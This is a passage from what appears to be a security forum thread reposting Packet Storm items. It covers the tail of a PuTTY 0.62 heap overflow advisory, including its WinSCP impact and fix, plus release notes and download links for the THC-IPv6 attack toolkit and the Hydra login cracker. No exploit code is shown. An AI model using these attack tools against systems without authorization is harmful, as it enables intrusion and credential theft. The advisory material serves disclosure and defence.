other software that uses PuTTY code, such heap corruption could have more severe effects. Specifically in case of WinSCP, this vulnerability could potentially lead to code execution due to the exception handling employed by the program. Solution: This vulnerability has been fixed in the development version of PuTTY [2]. All developers using PuTTY code are recommended to use revision 9896 or later. The potential code execution vulnerability has been addressed in WinSCP 5.1.6 [3]. Credits: This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu) References: [1] http://www.search-lab.hu/advisories/secadv-20130722 [2] http://svn.tartarus.org/sgt?view=revision&sortby=date&revision=9896 [3] http://winscp.net/tracker/show_bug.cgi?id=1017 Sursa: PuTTY 0.62 Heap Overflow ? Packet Storm
  22. Da, interesant
  23. THC-IPv6 Attack Tool 2.3 Authored by van Hauser, thc | Site thc.org THC-IPV6 is a toolkit that attacks the inherent protocol weaknesses of IPv6 and ICMP6 and it includes an easy to use packet factory library. Changes: 2 new tools added as well as 2 new scripts. Various updates to existing tools. Download: http://packetstormsecurity.com/files/download/122685/thc-ipv6-2.3.tar.gz Sursa: THC-IPv6 Attack Tool 2.3 ? Packet Storm
  24. Hydra Network Logon Cracker 7.5 Authored by van Hauser, thc | Site thc.org THC-Hydra is a high quality parallelized login hacker for Samba, Smbnt, Cisco AAA, FTP, POP3, IMAP, Telnet, HTTP Auth, LDAP, NNTP, MySQL, VNC, ICQ, Socks5, PCNFS, Cisco and more. Includes SSL support, parallel scans, and is part of Nessus. Changes: Moved the license from GPLv3 to AGPLv3. Added module for Asterisk Call Manager. Added support for Android where some functions are not available. Various other updates. Download: http://packetstormsecurity.com/files/download/122684/hydra-7.5.tar.gz Sursa: Hydra Network Logon Cracker 7.5 ? Packet Storm
×
×
  • Create New...